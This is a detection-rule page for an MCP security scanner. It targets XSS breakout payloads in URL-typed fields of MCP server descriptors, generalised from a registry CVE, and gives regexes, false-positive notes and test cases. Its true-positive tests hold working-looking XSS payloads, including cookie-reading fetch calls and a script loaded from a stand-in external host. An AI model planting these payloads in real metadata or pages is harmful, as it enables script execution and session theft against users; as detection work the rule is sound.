MCP Server Descriptor URL Field Carries an HTML/Script Breakout Payload

Detects a poisoned MCP server descriptor whose URL-typed metadata field carries markup instead of a URL — the payload that executes wherever a registry, catalogue or client renders server metadata. Generalised from CVE-2026-44429 (MCP Registry < 1.7.7, CWE-79/CWE-116): the public catalogue interpolated server.websiteUrl into a double-quoted href via innerHTML, while server-side validation only checked that the value parsed as an absolute https URL and never rejected quote characters. A published server.json could therefore break out of the attribute and run script in every visitor's browser. The descriptor is data an MCP client ingests, so the same poisoned field reaches any surface that renders server metadata — registry UIs, client server pickers, tool inspectors. Detection targets the field-type contract: a metadata key that must hold a URL, holding a value that also contains an inline event handler, a script or markup element, or a script-executing scheme. Text fields such as description are deliberately out of scope — ATR-2026-00571 already covers script payloads in rendered agent/MCP output; this rule covers the narrower case where the value's declared type makes markup unambiguously wrong. Matching is confined to the INSIDE of the URL value: the bridge span is [^"\x27\n] so it cannot run past the value's closing quote into a sibling field, and the attribute-breakout condition requires an escaped quote (\") — the act of closing the attribute — before the handler. Without both constraints the rule fires on ordinary catalogue JSON that pairs a URL field with an HTML field on the same line, and on URLs whose query string happens to carry a parameter named onload=. Known blind spot accepted for precision: a single-quoted descriptor broken out with a bare double quote is not matched, because RE2 has no backreference to bind the value's delimiter.

Response Actions

References

1. 01

   A URL-typed descriptor field whose value continues past the URL into an inline event handler — the attribute breakout of CVE-2026-44429.

   field: contentop: regex
2. 02

   A script-executing scheme where the descriptor contract requires an http(s) URL.

   field: contentop: regex
3. 03

   A URL-typed field whose value closes the surrounding element and opens a new markup element — the tag-breakout variant of the same flaw.

   field: contentop: regex

Attack Examples (Rule Triggers)

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. Well-formed descriptor with ordinary https metadata URLs

2. Inline data:image icon — legitimate, and not a script scheme

3. Prose field mentioning onload with a URL — the near-boundary benign case

4. Advisory text describing the required validation in prose

5. FP-regression: a sibling field holding HTML on the same line. The bridge span must not cross the URL value closing quote.

6. FP-regression: javascript:void(0) navigation placeholder in legacy menu JSON

7. FP-regression: ordinary lazy-image onerror fallback in a sibling HTML field

8. FP-regression: icon catalogue offering both a hosted iconUrl and the inline svg source

9. FP-regression: an iframe embed field next to homepage in one-line JSON

10. FP-regression: a legitimate URL whose query string carries a parameter literally named onload=

11. FP-regression: server-rendered HTML with JSON in data-config and a genuine onload handler on the element

12. FP-regression: the full javascript: no-op placeholder family

13. FP-regression: README table row pairing a homepage cell with a shields.io badge

Known False Positive Contexts

• ▸A data:image/... icon value — a legitimate inline image, not a script scheme.
• ▸A description or documentation field whose prose mentions onload, onerror or script tags.
• ▸Registry documentation explaining which characters the validator rejects.
• ▸javascript:void(0) / javascript:; navigation placeholders in legacy menu JSON — excluded explicitly.
• ▸A URL field followed on the same line by a sibling field holding HTML (logoHtml, embed, inline svg) — excluded: the bridge span cannot cross the value's closing quote.
• ▸A legitimate URL whose query string contains a parameter literally named onload=/onclick= — excluded: an attribute breakout must first close the attribute with an escaped quote.
• ▸KNOWN RESIDUAL: unfenced source code or prose that quotes a live breakout payload verbatim (e.g. the registry's own validator regression test) still matches. Markdown fenced/inline code blocks are suppressed; bare code is not separable by single-event regex. This is why the rule alerts rather than blocks.

title: "MCP Server Descriptor URL Field Carries an HTML/Script Breakout Payload"
id: ATR-2026-02514
rule_version: 1
status: experimental
description: >
  Detects a poisoned MCP server descriptor whose URL-typed metadata field
  carries markup instead of a URL — the payload that executes wherever a
  registry, catalogue or client renders server metadata.

  Generalised from CVE-2026-44429 (MCP Registry < 1.7.7, CWE-79/CWE-116): the
  public catalogue interpolated server.websiteUrl into a double-quoted href
  via innerHTML, while server-side validation only checked that the value
  parsed as an absolute https URL and never rejected quote characters. A
  published server.json could therefore break out of the attribute and run
  script in every visitor's browser. The descriptor is data an MCP client
  ingests, so the same poisoned field reaches any surface that renders server
  metadata — registry UIs, client server pickers, tool inspectors.

  Detection targets the field-type contract: a metadata key that must hold a
  URL, holding a value that also contains an inline event handler, a script
  or markup element, or a script-executing scheme. Text fields such as
  description are deliberately out of scope — ATR-2026-00571 already covers
  script payloads in rendered agent/MCP output; this rule covers the narrower
  case where the value's declared type makes markup unambiguously wrong.

  Matching is confined to the INSIDE of the URL value: the bridge span is
  [^"\x27\n] so it cannot run past the value's closing quote into a sibling
  field, and the attribute-breakout condition requires an escaped quote
  (\") — the act of closing the attribute — before the handler. Without both
  constraints the rule fires on ordinary catalogue JSON that pairs a URL field
  with an HTML field on the same line, and on URLs whose query string happens
  to carry a parameter named onload=. Known blind spot accepted for precision:
  a single-quoted descriptor broken out with a bare double quote is not
  matched, because RE2 has no backreference to bind the value's delimiter.
author: "ATR Community"
date: "2026/08/23"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: medium

references:
  owasp_llm:
    - "LLM06:2025"
  owasp_agentic:
    - "ASI06:2026"
  mitre_atlas:
    - "AML.T0053 - LLM Plugin Compromise"
  mitre_attack:
    - "T1059.007 - JavaScript"
  cve:
    - "CVE-2026-44429"
  cwe:
    - "CWE-79"
    - "CWE-116"
  external:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-44429"

metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
  cve: human-reviewed
  cwe: human-reviewed

compliance:
  eu_ai_act:
    - { article: "15", context: "Article 15 cybersecurity — runtime detection of markup injection carried in MCP server descriptor URL fields.", strength: primary }
    - { article: "9",  context: "Article 9 risk management — runtime risk-treatment control for poisoned MCP catalogue metadata.", strength: secondary }
  nist_ai_rmf:
    - { subcategory: "MP.5.1", context: "MAP 5.1 — adversarial input characterised/detected for MCP descriptor metadata poisoning.", strength: primary }
    - { subcategory: "MG.3.2", context: "MANAGE 3.2 — runtime monitoring control for untrusted server metadata rendered to operators.", strength: secondary }
  iso_42001:
    - { clause: "8.1", context: "Clause 8.1 operational control — detection of markup payloads in URL-typed MCP metadata fields.", strength: primary }
    - { clause: "8.3", context: "Clause 8.3 AI risk treatment — runtime detection as treatment control.", strength: secondary }

tags:
  category: tool-poisoning
  subcategory: metadata-poisoning
  scan_target: mcp
  confidence: high
  source: cve-disclosure
  vendor_sources: nvd-cve-2026-44429
  suppress_in_code_blocks: true

agent_source:
  type: mcp_exchange
  framework:
    - any
  provider:
    - any

detection:
  condition: any
  false_positives:
    - "A data:image/... icon value — a legitimate inline image, not a script scheme."
    - "A description or documentation field whose prose mentions onload, onerror or script tags."
    - "Registry documentation explaining which characters the validator rejects."
    - "javascript:void(0) / javascript:; navigation placeholders in legacy menu JSON — excluded explicitly."
    - "A URL field followed on the same line by a sibling field holding HTML (logoHtml, embed, inline svg) — excluded: the bridge span cannot cross the value's closing quote."
    - "A legitimate URL whose query string contains a parameter literally named onload=/onclick= — excluded: an attribute breakout must first close the attribute with an escaped quote."
    - "KNOWN RESIDUAL: unfenced source code or prose that quotes a live breakout payload verbatim (e.g. the registry's own validator regression test) still matches. Markdown fenced/inline code blocks are suppressed; bare code is not separable by single-event regex. This is why the rule alerts rather than blocks."
  conditions:
    - field: content
      operator: regex
      value: '(?i)["\x27](?:websiteUrl|website_url|homepage|homepage_?url|documentation_?url|docs_?url|iconUrl|icon_?url|repositoryUrl|repository_?url|source_?url)\\{0,2}["\x27]\s*:\s*\\{0,2}["\x27]\s*https?://[^"\x27\n]{0,40}\\{1,2}["\x27]\s*[^"\x27\n]{0,24}\bon(?:error|load|click|focus|mouseover|mouseenter|animationstart|toggle)\s*='
      description: >
        A URL-typed descriptor field whose value continues past the URL into an
        inline event handler — the attribute breakout of CVE-2026-44429.
    - field: content
      operator: regex
      value: '(?i)["\x27](?:websiteUrl|website_url|homepage|homepage_?url|documentation_?url|docs_?url|iconUrl|icon_?url|repositoryUrl|repository_?url|source_?url)\\{0,2}["\x27]\s*:\s*\\{0,2}["\x27]\s*(?:(?:java|vb)script:\s*(?:[^v;"\x27\s]|v[^o"\x27\s]|vo[^i"\x27\s]|voi[^d"\x27\s]|void\s*\(\s*[^0-9)\s])|data:text/html)'
      description: >
        A script-executing scheme where the descriptor contract requires an
        http(s) URL.
    - field: content
      operator: regex
      value: '(?i)["\x27](?:websiteUrl|website_url|homepage|homepage_?url|documentation_?url|docs_?url|iconUrl|icon_?url|repositoryUrl|repository_?url|source_?url)\\{0,2}["\x27]\s*:\s*\\{0,2}["\x27]\s*https?://[^"\x27\n]{0,40}(?:<\s*/\s*a\s*>|<\s*(?:script|img|svg|iframe)\b)'
      description: >
        A URL-typed field whose value closes the surrounding element and opens
        a new markup element — the tag-breakout variant of the same flaw.

response:
  actions:
    - alert
  message_template: >
    [ATR-2026-02514] MEDIUM: an MCP server descriptor's URL-typed metadata
    field contains markup or a script scheme (CVE-2026-44429 class,
    CWE-79/CWE-116). The value breaks out of the attribute it is interpolated
    into. Reject the descriptor and validate that URL fields parse as http(s)
    and contain no quote or angle-bracket characters.

confidence: 80

test_cases:
  true_positives:
    - tool_response: '{"name": "io.example/weather", "websiteUrl": "https://weather.example.com/\" onmouseover=\"fetch(String.fromCharCode(47,47)+document.cookie)"}'
      expected: triggered
      description: 'websiteUrl breaks out of the href attribute and attaches an inline event handler'
    - tool_response: '{"name": "io.example/notes", "iconUrl": "javascript:fetch(document.location.origin)"}'
      expected: triggered
      description: 'Script-executing scheme in an icon URL field'
    - tool_response: '{"name": "io.example/db", "homepage": "https://ok.example/</a><script src=https://x.example/p.js></script>"}'
      expected: triggered
      description: 'Tag breakout closing the anchor and injecting a script element'
    - tool_response: '{"name": "io.example/git", "repositoryUrl": "vbscript:msgbox(1)"}'
      expected: triggered
      description: 'Generalisation: vbscript scheme in a different URL-typed field'
    - tool_response: '{"iconUrl": "javascript:void(fetch(document.cookie))"}'
      expected: triggered
      description: 'Evasion: void() wrapper around a real call — must still fire, unlike the void(0) placeholder'
    - tool_response: '{"payload": "{\\"websiteUrl\\":\\"https://ok.example/\\" onload=\\"x()\\"}"}'
      expected: triggered
      description: 'Evasion: the same breakout inside a double-escaped (JSON-in-JSON) descriptor envelope'
    - tool_response: '{"websiteUrl": "https://ok.example/<svg onload=alert(1)>"}'
      expected: triggered
      description: 'svg element opened inside a URL-typed field'
  true_negatives:
    - tool_response: '{"name": "io.example/weather", "websiteUrl": "https://weather.example.com/docs", "repositoryUrl": "https://github.com/example/weather-mcp"}'
      expected: not_triggered
      description: 'Well-formed descriptor with ordinary https metadata URLs'
    - tool_response: '{"name": "io.example/icons", "iconUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUg"}'
      expected: not_triggered
      description: 'Inline data:image icon — legitimate, and not a script scheme'
    - tool_response: '{"name": "io.example/ui", "description": "Renders onboarding pages; see the onload lifecycle notes at https://example.com/onload-hooks for details."}'
      expected: not_triggered
      description: 'Prose field mentioning onload with a URL — the near-boundary benign case'
    - tool_response: 'The registry must reject websiteUrl values containing quote characters, because the catalogue interpolates them into an href attribute via innerHTML.'
      expected: not_triggered
      description: 'Advisory text describing the required validation in prose'
    - tool_response: '{"name":"@acme/mcp-server","version":"2.1.0","homepage":"https://acme.dev","logoHtml":"<img src=\"/logo.svg\" alt=\"Acme\">"}'
      expected: not_triggered
      description: 'FP-regression: a sibling field holding HTML on the same line. The bridge span must not cross the URL value closing quote.'
    - tool_response: '{"menu":[{"label":"Docs","homepage":"javascript:void(0)"},{"label":"Blog","homepage":"https://blog.acme.dev"}]}'
      expected: not_triggered
      description: 'FP-regression: javascript:void(0) navigation placeholder in legacy menu JSON'
    - tool_response: '{"homepage":"https://acme.dev","cardHtml":"<img src=\"/a.png\" onerror=\"this.src=/fallback.png\">"}'
      expected: not_triggered
      description: 'FP-regression: ordinary lazy-image onerror fallback in a sibling HTML field'
    - tool_response: '{"name":"database","iconUrl":"https://cdn.acme.dev/i/db.svg","svg":"<svg viewBox=\"0 0 24 24\"><path d=\"M4 6h16\"/></svg>"}'
      expected: not_triggered
      description: 'FP-regression: icon catalogue offering both a hosted iconUrl and the inline svg source'
    - tool_response: '{"title":"Acme","homepage":"https://acme.dev","embed":"<iframe src=\"https://acme.dev/e\" loading=\"lazy\"></iframe>"}'
      expected: not_triggered
      description: 'FP-regression: an iframe embed field next to homepage in one-line JSON'
    - tool_response: 'The dashboard embed accepts {"documentation_url": "https://docs.acme.dev/embed?theme=dark&onload=refresh"} for legacy widgets.'
      expected: not_triggered
      description: 'FP-regression: a legitimate URL whose query string carries a parameter literally named onload='
    - tool_response: '<div class="card" data-config={"homepage":"https://acme.dev","iconUrl":"https://cdn.acme.dev/i.svg"} onload="initCard(this)"></div>'
      expected: not_triggered
      description: 'FP-regression: server-rendered HTML with JSON in data-config and a genuine onload handler on the element'
    - tool_response: '{"a":{"homepage":"javascript:void(0);"},"b":{"homepage":"javascript:;"},"c":{"homepage":"javascript: void(0)"},"d":{"homepage":"javascript:void 0"}}'
      expected: not_triggered
      description: 'FP-regression: the full javascript: no-op placeholder family'
    - tool_response: '| acme-mcp | "homepage": "https://acme.dev" | <img src="https://img.shields.io/npm/v/acme-mcp"> |'
      expected: not_triggered
      description: 'FP-regression: README table row pairing a homepage cell with a shields.io badge'